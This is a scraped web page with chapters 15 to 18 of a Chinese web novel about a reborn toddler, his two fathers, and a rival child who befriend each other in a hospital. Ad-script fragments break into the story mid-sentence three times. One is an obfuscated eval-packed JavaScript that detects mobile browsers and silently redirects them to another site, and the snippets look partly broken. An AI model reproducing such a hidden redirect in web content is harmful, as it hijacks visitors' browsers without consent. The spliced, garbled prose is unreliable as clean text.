而顾白的爸爸,温和亲切,也是经典的温柔爸爸。 霸道狂攻和小白花受,也是纯爱文里的经典组合。 可以说,原书设定把一切美好的东西都给了顾白。 这时,江知鱼拍拍他的肩膀。 “嗷嗷,我们要回去了噢。” “好。” 陆傲从椅子上跳下来,跟着爸爸走。 顾白则被他的家长带着,从反方向离开。 走出去不知道多远,忽然,陆傲身后传来哒哒的脚步声。 顾白跑过来,挡在江知鱼和陆行渊面前,抬起头,真诚地看着他们。 “江叔叔、陆叔叔,我叫顾白,我爸爸叫顾云帆,我大爸爸叫周朔,我现在住在儿童住院部二楼。我今年三岁半,品貌端正,品学兼优,品德高尚。” “等嗷嗷有空的时候,我可以来找他玩吗?” 陆傲眼睛都睁大了。 你在说什么?你想跟我一起玩?我们在一起能玩什么? 你疯了? 不对,这是挑衅,这是赤.裸裸的挑衅! 15.一起睡 15 医院走廊上。 顾白站在一家三口面前,两只手背在身后,拧成麻花,一脸认真地看着他们。 他的脸上,并不是书里常写的、团宠常用的那种可爱表情。只要摆出这个表情,所有人都会答应他的所有要求。 而是很严肃、很认真、很正经的表情。 好像他刚刚提出了一项十分重要的决定,需要征求他们的意见。 陆傲不为所动,抱着小手,别过头去。 他才不会被顾白迷惑呢! 江知鱼和陆行渊应该……也不会吧? 下一秒,他听见江知鱼笑着对顾白说:“你想跟嗷嗷一起玩,而不是跟我一起玩,那你要问问嗷嗷本人的意见呀。” 陆傲一听这话,十分欣慰,小身板都挺得更直了。 看吧,他的爸爸和大爸爸,眼里只有他,根本不会被所谓的团宠吸引! “我知道的。”顾白小声解释,“我担心你们也不同意。” 毕竟家长不同意的话,他连病房门都进不去。 顾白挠了挠头,再次认真地看向陆傲:“嗷嗷,我可以跟你一起玩吗?我有小卡车、小飞机,还有小火车和挖掘机。” 不过是一些小车玩具罢了,陆傲才不喜欢玩这种幼稚的东西。 他仍旧抱着手,朝另一边扭头。 忽然,顾白凑上前,把自己的胳膊伸到他面前:“我还有儿童手表噢。” 陆傲看了一眼,似乎有些动摇。 顾白小声对他说:“可以上网,可以找到你想要的任何资料。” 陆傲转回头,认真地看着他,试图从他眼里找到一些不一样的神色。 顾白还是那副表情,眨巴眨巴眼睛,同样认真地看回去。 陆傲思考片刻,最后点了一下脑袋:“那好吧。” “好耶!”顾白欢天喜地,原地举起双手,大声欢呼,“嗷嗷答应跟我一起玩!我可以跟嗷嗷一起玩了!” 陆傲皱起小脸,一脸疑惑。 只是答应和他一起玩,又不是答应把公司卖给他,有什么可欢呼的? 这时,顾白的爸爸——比较矮的那个——顾云帆,扶着额头,一脸头疼地站在旁边,似乎不是很想看见这个场景,也不想承认这是自己儿子。 顾白的大爸爸——长得比较高的那个——周朔,承担起丈夫和父亲的责任,走上前来,一把按住顾白的脑袋。 “停下吧你。” 顾白在原地转了个圈,然后晕乎乎地倒在大爸爸的腿上,抱住他的腿。 “大爸爸,我们回去做小蛋糕,明天带给嗷嗷和他爸爸吃!” “知道了。” 等一下! 小蛋糕? 陆傲抬起头,不敢置信地看着周朔。 掌管跨国集团、黑白通吃的大佬,做小蛋糕? 怎么可能?是不是搞错了什么? 还没等陆傲想明白是为什么,周朔按着顾白,就要道别离开了。 “那我们先回去了,明天再带小白过来。” “好,拜拜。” “有空再来照顾生意。” 江知鱼举起手,朝他们挥了挥。陆行渊也微微颔首。 照顾生意? 陆傲一激灵,连忙挡在爸爸和大爸爸身前。 他们可是竞争对手,当然不能照顾生意! 再说了,周朔还涉.黑,他的生意能是什么好生意? 顾白被大爸爸拉着,挥舞着小手,一步三回头:“嗷嗷,拜拜!我明天就来找你玩!” 周朔压低声音,试图喝止:“够了,顾白,瞧你这不值钱的样子,屁颠屁颠地上赶着。” 顾白充耳不闻,继续道别:“嗷嗷,拜拜!拜拜!” 陆傲无奈地深吸一口气,最后还是举起手,朝他挥了一下。 就一下!只有一下! 不然顾白一直“嗷嗷嗷嗷”地叫唤,太烦崽了,医院里要保持安静。 可是顾白看见他朝自己挥手,反倒更亢奋了。 最后是周朔和顾云帆捂着脸,一爸拉着一只胳膊,生拉硬拽,才把他给拽走。 江知鱼摸摸陆傲的小脑袋:“走吧,我们也要回去吃晚饭了。” “嗯……”陆傲看着主角一家离开的背影,挠了挠头,还有些没反应过来。 他怎么感觉主角一家的相处模式不太对劲? 小白花顾云帆和法外狂徒周朔,根本对不上号。 真奇怪。 “张大爷卤了香喷喷的鸡翅和鸡腿,快点过来吃。” 陆傲回过神来,下意识吞了一口口水,然后跟上他们的脚步。 一家三口走在走廊上。 江知鱼问:“嗷嗷,你还记得小白啊?” “当然记得。” 死对头他怎么会不记得? 陆傲顿了顿,也问:“你们认识顾云帆和周朔啊?” “要喊‘顾叔叔’和‘周叔叔’,不能没礼貌。” 陆傲改了口:“你们认识他们啊?” 江知鱼故意学他的语气,拖着长音:“当然认得——” “你们……”陆傲抬起头,认真地看着他们,“不要和他们有生意上的合作。” 江知鱼疑惑:“为什么?” 陆行渊也探究地看向他。 “反正不要。”陆傲背着手,明显是一个成熟的小霸总。 这里面的水太深,爸爸和大爸爸两个笨蛋肯定把握不住。 江知鱼笑着说:“放心吧,我们两家生意涉及的基本领域都不一样,基本没有合作的地方。” 陆傲微微颔首:“那我就放心了。”他想了想,又问:“江知鱼,我们家的生意和他们家的相比,谁更厉害?” “唔……”江知鱼摸着下巴,“爸爸不知道该怎么比啊,让大爸爸来说吧。” 陆行渊道:“从生意规模来说,我们家稍 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 胜一筹。从员工人数来说,我们略微领先。从商品种类来说,我们家遥遥领先。” 江知鱼笑出声,但还是点头表示赞同:“大爸爸说的对。” “好!”陆傲很满意,“很好!” 反派一家PK主角一家—— 反派一家,大获全胜! 江知鱼牵起陆傲的手,对他说:“别担心家里的生意,我们家还算是略有资产,肯定不会被比下去的,相信爸爸和大爸爸。” 陆傲微微抬起下巴,那就勉强相信一下吧。 * 晚饭吃的是大米饭。 配菜是张大爷煮的一大锅卤味,鸡腿鸡翅鸡蛋,鸡的全家都在里面,还有海带、豆腐和莲藕各种素菜。 先卤后炖,最后在卤汁里泡上一个小时,金灿灿、香喷喷,闻起来就很香。 在米饭上浇上一勺卤汁,汁水顺着缝隙渗透进去,再用勺子拌一拌,让每颗米饭都沾上卤汁。 一口下去,陆傲的舌头都变成卤小猪舌头——江知鱼原话。 在陆傲握着拳头,用脑袋对准他的时候,江知鱼捂着心口,把话收了回去。 为了营养均衡,张大爷还特意炒了点新鲜的小青菜,给陆傲搭配着吃。 吃完晚饭,就是固定流程,看新闻、检查身体、吃药、洗漱。 晚上九点,陆傲换上干净的病号服,从卫生间走出来。 他熟练地爬上床,给自己盖好被子,然后对站在病床旁边的陆行渊说:“劳驾,离开的时候帮我关一下灯,谢谢。” 他还是这样的有礼貌。 陆行渊却冷着脸说:“不着急,等一下。” “等什么?” ——“等等我!” 话音刚落,江知鱼就穿着史努比睡衣,披着毯子,从隔壁房间冲了进来。 “等等我,我来了。” 陆傲腾地一下坐了起来,你来干什么?本崽已经打算就寝了。 江知鱼路过陆行渊身边,踮起脚,轻轻抱了他一下:“不好意思,陆总今晚要独守空房了。” 陆行渊扯了扯嘴角,根本笑不出来:“回家补上。” “一定补上。” 江知鱼回过头,笑得眉眼弯弯,看向陆傲。 像捕猎的小蝙蝠,“哗啦”一下,张开翅膀。 陆傲不由地往被子里躲了躲,你想干嘛?不要过来! 江知鱼笑得温和——他自己觉得。 笑得很嚣张——在陆傲眼里。 “嗷嗷,今晚爸爸和你一起睡噢。” 陆傲一言不发,扭头想跑。 下一秒,江知鱼扑上前,像抓猪一样,伸手一抱,把陆傲这只小猪连带着被子一起抓回来。 “医生说的,爸爸陪你睡,要是你像昨天晚上一样,半夜爬起来,爸爸第一时间就能发现。” “大爸爸想和爸爸一起睡,都没机会呢,你要珍惜。” “过来吧你!” 16.烧包x2 16 “住手!不许放肆!” “江知鱼,放开我!我要自己一个人睡,我不要跟你一起睡!” 小小的陆傲被裹在被子里,手和脚都被裹着,像被装在麻袋里,只露出一个圆滚滚的小脑袋。 他奋力挣扎,却总是能被江知鱼轻松压制住。 “嗷嗷,别害羞,和爸爸一起睡,爸爸会给你拍拍,还会给你唱安眠曲……” “什么曲?!”陆傲震惊。 “噢噢,催眠曲,催眠曲。不好意思,口胡了。” 这还差不多,陆傲还以为江知鱼要他的小命。 “不对,那也不要!” 陆傲反应过来,换了一个攻克方向。 “陆行渊,你们两个是夫夫,你们两个要一起睡!快把你老婆带走!” 虽然你们是联姻的,好像没什么感情基础,但也可以一起睡! 陆行渊本来就不太情愿,听他这么说,也道:“小鱼,我觉得我们应该培养陆傲的独立性。” “没错。”陆傲附和。 “那也不是在他生病的时候培养。”江知鱼一脸认真,“医生都说了,家长晚上要陪着他睡,要是他晚上再乱跑乱撞,那怎么办?” 陆傲连忙举起小手:“不会的,我已经发过誓了。” “发誓也控制不了生病。”江知鱼态度坚决,“今晚必须和我一起睡。” 在这个家里,江知鱼拥有至高无上的绝对权威。 所以最后,陆傲还是被按在了床铺上。 他平躺在床上,双手拽着被子,挡住自己的小半张脸,只露出一双毫无波澜的双眼。 真丢脸啊,真丢脸。 堂堂三岁半的霸总,竟然还被强制和爸爸一起睡。 他明天一定早早起床,绝不让第三个人知道这件事。 等一下…… 陆傲的目光落在陆行渊身上。 第三个人在这里,他已经知道了,那就不让第四个人…… 这时,门外传来敲门声,还有张大爷的声音。 “先生、陆总,护士让我来提醒你们,时间不早了,你们和小少爷可以睡觉了,有事情记得按铃。” ——第四个人,张大爷。 ——第五个人,值班护士。 陆傲哽住。 为什么全世界都知道他今晚和爸爸一起睡? “好。”江知鱼朝门外应了一声,然后掀开被子,在陆傲身边躺下。 陆行渊站在床边,弯下腰,伸出手,摸摸江知鱼的脑袋,道:“小鱼,晚安。” 江知鱼笑得灿烂,一双眼睛弯成小月牙,也对他说:“晚安。” 下一秒,陆行渊愈发弯下腰,捧着江知鱼的脸,在他的额头上印下一个晚安吻。 江知鱼的脸瞬间变得通红,甚至开始冒热气。 他压低声音,一字一顿:“陆、行、渊,你在干什么?” 陆行渊一脸无辜:“小鱼,是你之前教我的,说完‘晚安’就要给晚安吻。” “可是嗷嗷还在这里,你就不会活学活用吗?” “你当时说,就算天塌下来,也要给你晚安吻。” “我说过吗?” “说过。” ——这两个人真的很烦。 陆傲皱着小脸,别过头去。 在陆傲的身后,陆行渊又道:“我就在隔壁病房,有情况随时喊我,要是晚上陆傲乱动,就换我过来看着他。” 江知鱼红着脸推他:“知道了,你快走吧。” 陆傲背对着他们,拽着被子,把自己的脑袋埋进去。 他们干嘛一直说话?烦死崽了! 忽然,他听见陆行渊喊他:“陆傲?” 陆傲下意识回过头,见陆行渊正看着自己,连忙张开双手,死死捂住自己的脸。 你你你……你可别想亲我,我可不需要晚安吻! 虽然我是你儿子,亲生的,但是也不能亲! 陆行渊似乎看出他的意思,皱起眉头,朝他伸出手。 陆傲连忙后退,别过来,我会咬你的! “嘣”的一声轻响—— 陆行渊给他来了个脑瓜崩。 “晚上好好睡觉,别乱动,有事情要轻轻地喊醒爸爸,或者过来找我,记住了吗?” 老婆香香的,必须亲一口。 儿子惹人烦,他才不想亲,喊他也只是为了叮嘱两句。 陆傲捂着脑袋,愣在原地。 江知鱼笑出声,把陆傲抱回来:“别难过,大爸爸不亲你,爸爸亲一口。” “才不要。”陆傲扭着短短的身子,重新滑进被窝里。 陆傲要睡觉,两个爸爸再简单说两句话,陆行渊就出去了。 “啪嗒”两声,灯光熄灭,房门打开又关上。 病房里一片漆黑,只剩下江知鱼和陆傲父子二人。 陆傲挣扎着,伸出手臂,挡在两个人中间。 画一条楚河汉界,谁都不准越界! 可是下一秒,江知鱼直接无视界线,把他抓了回来。 陆傲刚挣扎了一下,就听见江知鱼理直气壮地说:“小崽崽必须挨着爸爸睡。再乱动,我就让大爸爸回来一起睡。反正这个床还挺大的,一家三口挤一挤也能躺得下。” 陆傲沉默片刻,然后乖乖躺好。 “睡觉。” 陆傲平躺在床上,江知鱼侧躺着,一只手搭在他的小胸膛上。 从爸爸手心里传来的温度,又暖和又让人安心。 房间里很安静,只有风吹过窗帘的声音,还有江知鱼匀长的呼吸声。 陆傲抬起头,借着月光,看见江知鱼熟睡的侧脸。 还说陪着他睡觉,结果自己先睡着了。 他调整了一下姿势,趴在江知鱼怀里,闭上眼睛。 这一夜,陆傲睡得格外安稳。 到了半夜,陆傲忽然感觉身体温度在上升,昨晚的噩梦即将重演,他马上又要变成一颗小馄饨。 就他即将被丢进锅里的时候,有人伸手接住他,把他救起来,擦擦他的脖子和后背,最后往他的衣领里掖了一块柔软的小汗巾。 温度降了下去,陆傲也继续睡了过去。 他似乎有所察觉,趴在江知鱼的怀里,张开嘴巴,吹出两个口水泡泡。 口水泡泡破了,发出“叭叭”两声,像是在喊—— 爸爸。 现实里没能喊出口的称呼,陆傲在梦里,用尽全身的力气在喊。 * 第二天,早上七点。 江知鱼昨 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 晚醒了一次,和陆行渊一起给陆傲擦身、换衣服、垫汗巾,所以早上睡得特别熟,也特别放肆。 他整个人像个“大”字,横七竖八地睡得正香。 所幸病床够大,足够江知鱼随意发挥。 反倒是陆傲,规规矩矩地躺在床上,平躺的时候双手放在身前,侧躺的时候双手交叠,双腿也交叠。 忽然,江知鱼翻了个身,随手一挥,一只手拍在陆傲的屁屁上。 duangduang两下,陆傲从睡梦中睁开眼睛。 谁?是谁胆敢摸他的屁股? 是爸爸啊,那没事了…… 有事!爸爸也不行! 陆傲猛然惊醒,用力推开江知鱼的手,但他马上又追上来,还用力捏了捏。 讨厌鬼!走开! 陆傲直接坐起来,把江知鱼的手拿开。 正巧这时,陆行渊推门进来:“你在干嘛?欺负爸爸?” “明明是他在欺负我!”陆傲大声解释,“他捏我屁股。” “小崽崽长着屁屁,给爸爸捏一下怎么了?” ——被窝里传来江知鱼振振有词的声音。 但江知鱼没有等到陆傲的回答,回答他的只有“嘎吱嘎吱”的叫叫鞋声音。 陆傲跑了。 跑着跑着,一块小汗巾从他身上掉下来,被陆行渊接住。 江知鱼朝陆行渊抛了个飞吻,然后打着哈欠,倒回床上,再睡个回笼觉。 * 上午十点。 陆傲按照惯例,坐在病床上看新闻,两个爸爸都陪着他。 ——“巴拿拿总统再次来华……” “陆行渊,好无聊啊。”江知鱼抱着枕头,倒在沙发上,“都三天了,来来回回都是巴拿拿总统,他前天访华,昨天回国,今天发现东西落下了,又跑回来拿,我不想再看他的新闻了。” 陆行渊摸摸他的头发,低声道:“那我们向电视台反馈一下?” 江知鱼张大嘴巴,打了个长长的哈欠:“那还是算了吧。” 这时,“笃笃”的敲门声传来。 紧跟着,一个故作严肃的崽崽声音响起。 “江叔叔、陆叔叔,你们在吗?嗷嗷,你在吗?” 江知鱼来了精神,从沙发上弹起来:“是小白吗?快进来吧。” “嗷嗷,别看你那个‘巴拿拿’新闻了,小白来找你了。你昨天答应过他的,小朋友要信守诺言。” “知道了。”陆傲应了一声,把目光从电视上移开。 江知鱼上前,打开病房门。 只一眼,一家三口全都呆住了。 江知鱼:O-O 陆行渊:0-0 陆傲:o-o 这个主角崽崽,他穿着一件白色的衬衫、一条黑色的西裤,脖子上还挂着一个红色的小领结。 他手里提着一个小饭盒,朝一家三口露出一个礼貌的完美笑容,还朝他们鞠了一躬:“江叔叔、陆叔叔早上好。嗷嗷,早上好!我是顾白,初次登门拜访,我带着满心的欢喜和对未来的憧憬,希望能够得到你们的喜爱!” 呃……就是说…… 江知鱼看看顾白,再看看陆傲。 这个世界上,怎么会有崽比他们家的嗷嗷,还烧包呢? 17.滑滑梯 17 呆滞。 死一般的呆滞。 长久长久的呆滞。 顾白双手提着饭盒,站在原地,抬起头,好奇的目光分别从江知鱼、陆行渊脸上划过,最后落在陆傲脸上。 真不愧是一家三口,嗷嗷和他两个爸爸的表情一模一样耶。 什么时候我们家也可以做到这么默契就好了。 等一下! 顾白忽然想到什么,脸上笑容慢慢凝固。 他们不会是在嫌弃他……吧? 不要啊!不要嫌弃他啊! 他哪里做得不好,他马上改。 他只是想跟嗷嗷一起玩而已,他没有干坏事…… 顾白越想越难受,即将变成哭哭脸的时候,江知鱼反应过来。 江知鱼扬起手,照着陆氏父子的脑袋,一人给了一下,让他们两个把不礼貌的表情收起来。 他走上前,举起双手:“欢迎欢迎!欢迎小白!” 顾白期待地抬起头,眼睛里重新有了光。 江知鱼在他面前蹲下,看见他提在手里的小食盒,朝他露出一个温柔的笑容:“是昨天说的小蛋糕吗?你真的给嗷嗷带了小蛋糕啊?” 顾白用力地点了点头:“对,是大爸爸和我一起做的。” “那你的爸爸和大爸爸呢?他们没陪你一起过来吗?” “爸爸去上班了。大爸爸……”顾白挠挠头,朝他们露出一个尴尬而不失礼貌的微笑,“大爸爸说我是显眼包,不肯跟我一起过来。” 说完这话,他就下意识回过头,朝病房门外的走廊上看了一眼。 江知鱼循着他的目光看去,只见顾白的大爸爸周朔抱着手,远远地站在走廊尽头,朝这边张望。 发现有人看过来,周朔连忙捂着脸,背过身去,试图找个地缝钻进去。 他也觉得顾白这样打扮不对劲。 但是他拦不住,他只能和顾白保持距离,假装自己不认识顾白。 这时,陆行渊站起身,陆傲也跳下床铺,两个人来到江知鱼身边。 一家三口按照大小个排好,依次站在门边,认真地看着周朔。 下一秒,一家三口没忍住笑出声。 “噗——” 周朔听见他们在笑,回过头,握着拳头,朝他们挥了挥。 闭嘴! 他们竟敢集体嘲笑主角崽崽的霸道狂攻大爸爸,真是好猖狂的反派一家人! 陆傲率先反应过来,挡在爸爸和大爸爸面前。 不许打他们,有什么事情冲我来! 江知鱼笑了笑,收回目光,双手扶着顾白的肩膀,小碎步把他带进病房里:“小白,你大爸爸就想待在外面,你和嗷嗷进来玩吧。” “好呀,好呀。” 主角崽崽就这样,抛下嫌弃自己的大爸爸,跟着反派一家人进去了。 成功拐跑主角崽崽,反派一家胜绩再加一! * 江知鱼找了两个软垫过来,摆在茶几前面的空位上。 两只小崽崽并排坐在软垫上,像两个搓得圆滚滚的小橡皮泥,黏在地上。 顾白把自己带来的饭盒打开,从里面拿出两块白色的小蛋糕,分给陆傲一块。 “给,嗷嗷,昨天说好的小蛋糕。我大爸爸问过医生了,医生说可以吃一点。” “谢谢。”陆傲不卑不亢。 “不客气。” 见他们吃蛋糕没饮品配,陆行渊又给他们热了牛奶,一人一杯。 一块蛋糕,一杯牛奶,就是崽崽的“上午茶”。 陆傲把懒羊羊口水兜叠好,塞进衣领里,然后握着青草蛋糕勺子,挖起一勺蛋糕。 顾白看着他,也抬起手,整理了一下自己脖子上的小领结。 优雅,高贵,有气质。 “嗷嗷,你喜欢青草蛋糕吗?下次我让我大爸爸给你做。” “谢谢,但我不喜欢。这只是江……我爸爸给我买的勺子。” 江知鱼抱着手,歪了歪脑袋,认真地看着他们两个。 这两只崽的动作,不能说很像,只能说是一模一样。 他们两个是不是瞒着家长,偷偷报名了同一家西餐礼仪培训班? 这时,顾白举起牛奶杯,问:“江叔叔,我觉得牛奶不够甜,可以再加一点糖吗?” “好……” 江知鱼回过神,刚准备接过牛奶,就被陆行渊按住了手。 “不行,你们两个还在生病,不能再加糖了。” “好吧。” 顾白难过地垂下眼睛,收回手。 陆傲看了他一眼,说:“你可以先吃一口蛋糕,然后马上喝一口牛奶,在嘴里混合起来。” “怎么混合?”顾白吸溜一口牛奶,还没来得及混合,就吞下去了,“我不会。” “闭上你的嘴,使劲摇头。” 顾白照他说的话做,摇着摇着,他的眼睛忽然亮了起来。 他把食物咽下去:“嗷嗷,你好聪明!” 陆傲挺起小胸膛:“那当然,我可是三岁小天才。” 区区主角崽崽,被他玩弄于股掌之间! 算了,江知鱼叹了口气,他们两个看起来都不是很聪明的样子。 等两只崽把蛋糕和牛奶消灭掉,上午的新闻也结束了。 江知鱼把电视关掉,又把装玩具的行李箱拖出来,问:“你们想玩什么?这里有拼图、积木,还有玩偶,要一起玩过家家吗?” 陆傲捏着手,勇敢地抬起头:“那我要当爸爸。” 江知鱼哽住:“你爸爸我不参与游戏。” “那我不玩了。” 顾白举起手,大声说:“我知道医院里有一个地方很好玩,我可以带你们去。” 他一把拉住陆傲的手,从软垫上爬起来。 “不要拉我……” 没等陆傲说完,顾白就拉着他,跑了出去。 可恶的顾白,力气竟然比他还大!他怎么像牛一样? 两只崽在前面跑,江知鱼在后面追:“刚吃了东西,不许跑步!停下!” 陆傲听见爸爸的话,像拔河一样,用力拽住顾白。 江知鱼终于追上他们:“要一步一步慢慢走,不然会肚子疼的。” “对不起,我忘了。”顾白挠挠头,放慢动作。 江知鱼原本以为,顾白说的好玩的地方,要么是医院的某个检查室,要么是楼下小花园的某个角落。 结果,顾白带他们去了儿童住院部的五楼。 这里竟然有一个小型儿童乐园! 滑滑梯、跷跷板、海洋球,一应俱全。 在医院里住了几天,江知鱼还是第一次知道有这种地方。 可能是医生看陆傲病得有点严重,怕他稍微好点就跑过来玩,病情反复,所以故意不告诉他们。 江知鱼摸摸陆傲的额头,确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968282|147345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认他精神不错,就让他和顾白去玩二十分钟。 两个小崽崽进去玩,江知鱼在外面看着,顺便发消息给陆行渊,让他把陆傲的小汗巾和小水壶拿上来。 他们没想到要出来玩,什么东西都没带,不像顾白的大爸爸—— 江知鱼默默转过头,看了一眼周朔。 周朔一直都守在病房外,见顾白出来,当然也跟上来了。 他背上背着背包,脖子上挂着水壶,一看就是准备齐全的。 周朔转过头,和江知鱼对上目光。 他挺起胸膛,回看过去,故意问:“看什么看?没见过超级奶爸?你老公不也这样?” 他话音刚落,陆行渊一手提着水壶,一手拎着背包,出现在走廊尽头:“老婆,我来了。” 还真被周朔说中了,江知鱼没忍住笑出声。 陆行渊走到他面前,一脸不解:“老婆,怎么了?” 江知鱼捂着脸,若无其事地转回头去。 与此同时,陆傲和顾白前后脚爬上一个滑滑梯。 “哧溜”一下,两只崽同时滑下去。 落地之后,马上爬起来,开始第二轮。 但是到了第二轮,陆傲一屁股坐在滑滑梯洞口,不肯下去。 顾白轻轻推他:“嗷嗷,快滑下去,你在干嘛?” 陆傲回过头,朝他伸出手,理直气壮道:“我陪你玩了,把你的儿童手表借我。” 顾白愣了一下,这才想起,这是两个人昨天约定好的。 他伸出左手,把手腕上的儿童手表递到他面前:“给你。” “可以拆下来吗?” “不行,拆下来会响警报的,代表有人贩子要抓走我。” 没办法,陆傲只能抓着顾白的手,用肉肉的小手在手表屏幕上戳戳点点,查找一些自己想要的信息。 首先,他想搜一下“陆氏集团”,看看家里的产业发展到了什么规模。 可是在浏览器里搜索“陆氏集团”四个字,只有一些乱七八糟的东西。 【陆,lu,姓氏,《百家姓》中第……】 【集团,集团公司俗称……】 或许是因为这是儿童手表,开了儿童防护。 但陆氏集团产业遍布全世界,不可能搜不到。 陆傲没办法,只好再搜爸爸和大爸爸的名字。 前世他还小的时候,想他们了,就会躲在被子里,抱着手表搜他们的名字,看他们在网上的生平履历。 可是也没有,江知鱼和陆行渊的名字在这里也搜不到。 陆傲回过头,听见滑滑梯外家长们说话的声音,于是又开始搜“周朔”和“顾云帆”。 周朔可是原剧情里设定的最最最强商界大佬,总不可能连他也…… 真的搜不到。 什么都搜不到。 如果不是儿童手表的问题,那会是什么问题? 是有人刻意把他们的信息,从网上抹去了吗? 是谁有这么大的本事,把几个跨国集团老总的名字删掉? 陆傲思索着,抬起头,对上顾白傻乐的脸。 “嗷嗷,你搜完了吗?可以玩了吗?” “玩吧。” 陆傲松开他的手,顾白低下头,帮他把搜索记录删掉。 陆傲坐在前面,顾白坐在后面,双手揪着他的衣服。 两只小崽崽像两颗圆滚滚的小肉丸,咕噜噜滚下滑滑梯。 18.小狗 18 呼啦—— 陆傲和顾白双双从滑滑梯上滑下来。 陆傲面无表情,双手扶着滑梯边缘,架起短短的双脚,从高处滑下来,像一个小皇帝,君临天下! 顾白则坐在他身后,双手揪着他的衣服,张大嘴巴,用嘴巴接住迎面吹来的风:“呜——哇哇哇——” 两只崽先后落地,顾白撞在陆傲的背上,把他往前推了一点,两个人的小肚子像果冻一样,弹了两下。 duang——duang—— 陆傲回过头,气鼓鼓地看着顾白。 你是个小蠢蛋! 对上他明晃晃的嫌弃眼神,顾白也不生气,挠挠头,还是傻乐。 “嗷嗷,我们再玩一次!” “不要。”陆傲断然拒绝,“你一直大叫,吵到我了。” “那我这次不叫了。”顾白笑嘻嘻地建议,“你也可以试一下,张开嘴巴滑滑梯,会有风吹进来,嘴巴凉凉的,很凉快的。” 他话音刚落,围栏外面就传来周朔的声音:“凉快?顾白,你是不是出汗了?给我过来。” 顾白抬起头,假装无事发生:“没有啊,我不热,没出汗。” “我让你过来换衣服。” “噢。”顾白应了一声,对陆傲说,“我先去换衣服……更衣,稍等一下,我马上回来。” “不能直接结束吗?”陆傲不想玩了。 “不能。我们只玩了滑滑梯,还没玩跷跷板呢。” “你自己玩。” “跷跷板必须两个人玩,而且要两个体重差不多的人。” “好吧。” 陆傲捏紧拳头,我是信守承诺的霸总,我一诺千金、一言九鼎、一言既出驷马难追。 我借用了他的儿童手表,我忍,我忍,我忍忍忍。 这时,江知鱼也喊他:“嗷嗷,你也过来,爸爸看看你出汗了没有。” “来了。”陆傲松开拳头,从地上爬起来,走到江知鱼面前。 江知鱼问:“滑滑梯好玩吗?” 陆傲板起小脸,梗着脖子:“不好玩,太幼稚了。” 江知鱼笑出声,拿出小手帕,盖在他的额头上:“自己擦擦。都玩得满头是汗了,还说不喜欢。” “就不喜欢。” “好好好,不喜欢。爸爸和大爸爸本来还想等你病好了,带你去更大、更好玩的游乐园玩,既然你不喜欢,那就算了。” 陆傲死犟,高高地扬起头,就是不肯承认自己爱玩滑滑梯。 这时,顾白急切的声音在不远处响起:“不行!不能算了!嗷嗷要去,嗷嗷和我一起去!” 周朔惊慌失措,连忙伸出手,像抓猪一样,把他抓回来:“回来!顾白,你要走光了!” 顾白穿的衬衫西裤硬挺不透气,出了汗闷在里面不好。 周朔就把他带到乐园旁边的厕所里,要给他换衣服。 没想到顾白听见陆傲和他爸爸说话,自己屁颠屁颠地就跑出来了。 被抓回去之前,顾白还在大声为陆傲求情:“嗷嗷爸爸,你一定要让嗷嗷去游乐园!我真的很想和嗷嗷一起去游乐园!求求你了!” 江知鱼笑着应了一声:“好!知道了,我会带他去的!” “谢谢你!谢谢——咕噜咕噜¥*%*……&……” 周朔一把捂住他的嘴巴,直接带走! 陆傲用小手帕捂着脸,别过头去,不想看这场闹剧。 好烦,感觉成熟的自己在这个幼稚的世界格格不入。 家长们给顾白换上方便行动的短袖短裤,给陆傲垫上一块柔软的汗巾,就让他们继续去玩。 两只崽玩了一会儿跷跷板,又去玩荡秋千,最后都脱了鞋子,坐在海洋球堆里,休息一会儿。 他们背对着围栏外面的家长,并排坐着。 陆傲抓着顾白的手,继续用他的儿童手表查资料。 他心里有一个计时器,他陪顾白玩了十分钟,那顾白也要把手表再借给他十分钟。 主角和反派要分得清清楚楚,他不占顾白的便宜,顾白也别想占他的。 不过这一回,陆傲转变了思路,既然搜不到集团信息,也搜不到爸爸和大爸爸的信息,那他就直接开始搜今日股市! 崽命由崽不由天! 儿童手表很不方便,但他还是坚持下来,选中了几只股票。 按照他这几天收看的新闻和他前世的商业头脑,他预测,这几只股票在未来一定会暴涨,只要他现在买一点,江知鱼的养老金就不用愁了。 马上买进! 下一秒,屏幕上弹出来的身份验证信息,让陆傲不由地睁大了眼睛。 他时常会忘记,自己现在是一个三岁小孩。 一个穷得叮当响,浑身上下最值钱的东西是一双十几块钱叫叫鞋的三岁小孩。 唉,股市梦碎,他只能想其他白手起家的办法了。 陆傲叹了口气,放下顾白的手。 顾白正像一个永动机,傻乎乎地抓起海洋球,丢到远处。 丢掉一个球,就有一堆球涌到他身边,可好玩了。 察觉到自己的手被松开,顾白马上停下动作,转头看他:“嗷嗷,你怎么了?” 陆傲挺直身板,装也要装出一脸自信:“我没事。” 他绝不会在死对头面前示弱,这是他作为龙傲天宝宝的尊严! “那你查完资料了吗?” “查完了。” 顾白举手提议:“那我们来玩‘跳一跳’。” 陆傲面无表情:“我不跳。” “不是我们跳,是手表里的小狗跳。” 所谓的“跳一跳”,其实就是儿童手表里自带的游戏。 一只火柴小狗,在山谷里跳来跳去,按一下就跳一下,按的时间短就跳得近,按的时间长就跳的远。 要是小狗不小心掉进山谷里,游戏就结束了。 陆傲玩了一局,很快就上手了。 两只小崽崽凑在一起,你按一下,我按一下,合力让小狗跳得更远。 “嗷嗷,你觉得‘跳一跳’好玩吗?” “你不要走神。”陆傲全神贯注地盯着屏幕。 “噢。”顾白闭上嘴巴,安静了一秒钟,又说,“我觉得玩游戏更开心,不管是滑滑梯,还是跷跷板,还是‘跳一跳’,都很开心,比我学钢琴、学礼仪、学画画、讨好别人开心,比你用手表看那些红红绿绿的东西开心。” 陆傲皱起小脸,抬头看他。 